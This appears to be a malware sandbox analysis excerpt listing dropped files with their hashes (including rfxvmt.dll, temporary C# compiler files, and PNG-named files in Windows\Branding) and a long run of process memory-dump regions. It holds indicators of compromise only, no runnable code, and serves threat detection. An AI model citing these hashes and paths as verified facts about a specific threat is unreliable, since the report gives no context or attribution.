C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msMD5
41718a8143f8f3f12e5afeb94dec0794
SHA1852d09ac2b909608c7c916bf572f11f80036fa63
SHA25689defcb6787bf3cd67a0e6d50551c4279fc8d96568892f865bbc2a7af9538abc
SHA5122eebc547e35d1b79c7624c12d7a26315e356b6b3d137216f50c4cf81d2917bb8f9a904ce9197addb84db8e9045a52fec6a8134d1242a641d15e27569b0653fd3
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msMD5
41718a8143f8f3f12e5afeb94dec0794
SHA1852d09ac2b909608c7c916bf572f11f80036fa63
SHA25689defcb6787bf3cd67a0e6d50551c4279fc8d96568892f865bbc2a7af9538abc
SHA5122eebc547e35d1b79c7624c12d7a26315e356b6b3d137216f50c4cf81d2917bb8f9a904ce9197addb84db8e9045a52fec6a8134d1242a641d15e27569b0653fd3
-
C:\Windows\system32\rfxvmt.dllMD5
dc39d23e4c0e681fad7a3e1342a2843c
SHA158fd7d50c2dca464a128f5e0435d6f0515e62073
SHA2566d9a41a03a3bd5362e3af24f97ba99d2f9927d1375e4f608942a712866d133b9
SHA5125cb75e04ce9f5c3714e30c4fd5b8dbcd3952c3d756556dd76206111fe5b4e980c6c50209ab0914ab3afe15bd9c33ff0d49463ca11547214122859918de2a58f7
-
\??\c:\Users\Admin\AppData\Local\Temp\5kisgcpo\5kisgcpo.0.csMD5
df390bc8a088b51d27253fed32186361
SHA169e6a59300fc04ef5ab53cbe061b8b2aefe375a4
SHA2564388b3b4aaccededcd9a2d864ba85967c08a4586dee2745e5539e12cb4de5c5f
SHA5124d0d050afd8809b9090e0ac8ab4f00ad4237723bfa8adb2f605fbbdd6be532bd941bccf79b7fbc0d226bc7890c2011dd18b0263af5b81911e1c8def2d9f235c8
-
\??\c:\Users\Admin\AppData\Local\Temp\5kisgcpo\5kisgcpo.cmdlineMD5
9a16a6f26f52e9dcc62a5b0a7c86734a
SHA1dd6d07a20107f16907c130db14d18663430744ee
SHA256730a26ac23abb94e7041888ffdf6e3c1c0770e56aacd33b117f01d1861fbac45
SHA5127251f9d8b98c4b640d4260e70bd60c5a33d80739a2882cbc0d25c7decc515331742e39a6b9b90e0230deb3d583bd0c375b069a678f9d1ea5336aabeb533806c6
-
\??\c:\Users\Admin\AppData\Local\Temp\5kisgcpo\CSC62A9160FDF734FD5B8D7EC570E781E5.TMPMD5
a9230735a40fc4a6d921ffe31823ad03
SHA1be411be027e7eaced81a82d393ab562ae2dfd420
SHA256baa6f104a1e8185c4632aea2f64f977aa4c94e38f6a119d960e50551080219b8
SHA512df3a7b97da2de02eb0bdbdf6658304e2235787d194093f68e387b3dd505b4ad7a123bf686fcff62dc25cdcff4b9d5c9f35d3428a962b73d3c7996d81076c1b59
-
\Windows\Branding\mediasrv.pngMD5
1da8e368cb917044f7440a54d79f6737
SHA1df60dd7011bc948f3b871b1a6cb149a7028c1a85
SHA256dce86185269e01eba9301b761ae9a002054713060e35dbc908d44ddd8e647bd4
SHA5128437463516b7da13a661d5acdadd8d52641464e797831e635d697aa863c2c01b3f15be67073d08f2d9361f639b4ee1eaf9a0c8b2811f3cd3d78c43e55651fa92
-
\Windows\Branding\mediasvc.pngMD5
009e8b6a916836a4a8aa2be3229276a1
SHA128f3892fb8b63e7299dce25cb65bf252e29d5afd
SHA25639ec650a006fc423825d552edf526443c96b5a027f58e6423e6344d90b228ab7
SHA512a47a29ce28659d2839d808a614d9537fdcefcc08509f5e0cab0c747ebb7f04453781647e475934b4db5e254127e8621cedab01efd425fb5af23cac8dfcf9d7dc
-
memory/292-181-0x0000000000000000-mapping.dmp
-
memory/292-161-0x0000000000000000-mapping.dmp
-
memory/508-167-0x0000000000000000-mapping.dmp
-
memory/548-172-0x0000000000000000-mapping.dmp
-
memory/572-159-0x0000000000000000-mapping.dmp
-
memory/584-175-0x0000000000000000-mapping.dmp
-
memory/756-189-0x0000000000000000-mapping.dmp
-
memory/880-177-0x0000000000000000-mapping.dmp
-
memory/980-186-0x0000000000000000-mapping.dmp
-
memory/980-193-0x0000000000000000-mapping.dmp
-
memory/1068-163-0x0000000000000000-mapping.dmp
-
memory/1084-142-0x0000000000000000-mapping.dmp
-
memory/1084-155-0x0000000002574000-0x0000000002576000-memory.dmpFilesize
8KB
-
memory/1084-154-0x0000000002570000-0x0000000002572000-memory.dmpFilesize
8KB
-
memory/1088-190-0x0000000000000000-mapping.dmp
-
memory/1096-87-0x0000000000000000-mapping.dmp
-
memory/1096-100-0x0000000001F20000-0x0000000001F21000-memory.dmpFilesize
4KB
-
memory/1096-119-0x000000001BBB0000-0x000000001BBB1000-memory.dmpFilesize
4KB
-
memory/1096-120-0x000000001BBC0000-0x000000001BBC1000-memory.dmpFilesize
4KB
-
memory/1096-106-0x000000001B9E0000-0x000000001B9E1000-memory.dmpFilesize
4KB
-
memory/1096-93-0x000000001A9E4000-0x000000001A9E6000-memory.dmpFilesize
8KB
-
memory/1096-92-0x000000001A9E0000-0x000000001A9E2000-memory.dmpFilesize
8KB
-
memory/1096-95-0x0000000002730000-0x0000000002731000-memory.dmpFilesize
4KB
-
memory/1096-97-0x000000001B720000-0x000000001B721000-memory.dmpFilesize
4KB
-
memory/1096-99-0x000000001B500000-0x000000001B501000-memory.dmpFilesize
4KB
-
memory/1204-78-0x0000000000000000-mapping.dmp
-
memory/1204-157-0x0000000000000000-mapping.dmp
-
memory/1224-207-0x0000000000000000-mapping.dmp
-
memory/1336-178-0x0000000000000000-mapping.dmp
-
memory/1364-169-0x0000000000000000-mapping.dmp
-
memory/1520-162-0x0000000000000000-mapping.dmp
-
memory/1520-194-0x0000000000000000-mapping.dmp
-
memory/1520-205-0x0000000000000000-mapping.dmp
-
memory/1600-166-0x0000000000000000-mapping.dmp
-
memory/1604-182-0x0000000000000000-mapping.dmp
-
memory/1604-204-0x0000000000000000-mapping.dmp
-
memory/1692-185-0x0000000000000000-mapping.dmp
-
memory/1696-168-0x0000000000000000-mapping.dmp
-
memory/1700-165-0x0000000000000000-mapping.dmp
-
memory/1732-128-0x000000001AC24000-0x000000001AC26000-memory.dmpFilesize
8KB
-
memory/1732-129-0x0000000002670000-0x0000000002671000-memory.dmpFilesize
4KB
-
memory/1732-134-0x00000000024B0000-0x00000000024B1000-memory.dmpFilesize
4KB
-
memory/1732-121-0x0000000000000000-mapping.dmp
-
memory/1732-131-0x000000001AB90000-0x000000001AB91000-memory.dmpFilesize
4KB
-
memory/1732-126-0x000000001AC20000-0x000000001AC22000-memory.dmpFilesize
8KB
-
memory/1732-133-0x0000000002730000-0x0000000002731000-memory.dmpFilesize
4KB
-
memory/1740-196-0x0000000000000000-mapping.dmp
-
memory/1740-203-0x000000001952A000-0x0000000019549000-memory.dmpFilesize
124KB
-
memory/1740-202-0x0000000019524000-0x0000000019526000-memory.dmpFilesize
8KB
-
memory/1740-201-0x0000000019520000-0x0000000019522000-memory.dmpFilesize
8KB
-
memory/1744-86-0x00000000027E0000-0x00000000027E1000-memory.dmpFilesize
4KB
-
memory/1744-74-0x000000001B620000-0x000000001B621000-memory.dmpFilesize
4KB
-
memory/1744-101-0x000000001AB7A000-0x000000001AB99000-memory.dmpFilesize
124KB
-
memory/1744-85-0x000000001B810000-0x000000001B811000-memory.dmpFilesize
4KB
-
memory/1744-70-0x0000000002470000-0x0000000002471000-memory.dmpFilesize
4KB
-
memory/1744-84-0x000000001B790000-0x000000001B791000-memory.dmpFilesize
4KB
-
memory/1744-82-0x00000000024B0000-0x00000000024B1000-memory.dmpFilesize
4KB
-
memory/1744-69-0x0000000002380000-0x0000000002381000-memory.dmpFilesize
4KB
-
memory/1744-156-0x000000001C6A0000-0x000000001C6A1000-memory.dmpFilesize
4KB
-
memory/1744-68-0x000000001ABF0000-0x000000001ABF1000-memory.dmpFilesize
4KB
-
memory/1744-72-0x000000001AB74000-0x000000001AB76000-memory.dmpFilesize
8KB
-
memory/1744-67-0x0000000002430000-0x0000000002431000-memory.dmpFilesize
4KB
-
memory/1744-66-0x000007FEFB891000-0x000007FEFB893000-memory.dmpFilesize
8KB
-
memory/1744-65-0x0000000000000000-mapping.dmp
-
memory/1744-71-0x000000001AB70000-0x000000001AB72000-memory.dmpFilesize
8KB
-
memory/1760-187-0x0000000000000000-mapping.dmp
-
memory/1760-171-0x0000000000000000-mapping.dmp
-
memory/1772-206-0x0000000000000000-mapping.dmp
-
memory/1772-176-0x0000000000000000-mapping.dmp
-
memory/1776-164-0x0000000000000000-mapping.dmp
-
memory/1776-183-0x0000000000000000-mapping.dmp
-
memory/1788-191-0x0000000000000000-mapping.dmp
-
memory/1828-75-0x0000000000000000-mapping.dmp
-
memory/1864-195-0x0000000000000000-mapping.dmp
-
memory/1864-184-0x0000000000000000-mapping.dmp
-
memory/1868-192-0x0000000000000000-mapping.dmp
-
memory/1872-188-0x0000000000000000-mapping.dmp
-
memory/1924-174-0x0000000000000000-mapping.dmp
-
memory/1972-160-0x0000000000000000-mapping.dmp
-
memory/1980-173-0x0000000000000000-mapping.dmp
-
memory/2008-62-0x00000000411C4000-0x00000000411C6000-memory.dmpFilesize
8KB
-
memory/2008-61-0x00000000411C2000-0x00000000411C4000-memory.dmpFilesize
8KB
-
memory/2008-63-0x00000000411C6000-0x00000000411C7000-memory.dmpFilesize
4KB
-
memory/2008-59-0x0000000041670000-0x0000000041A91000-memory.dmpFilesize
4.1MB
-
memory/2008-64-0x00000000411C7000-0x00000000411C8000-memory.dmpFilesize
4KB
-
memory/2040-170-0x0000000000000000-mapping.dmp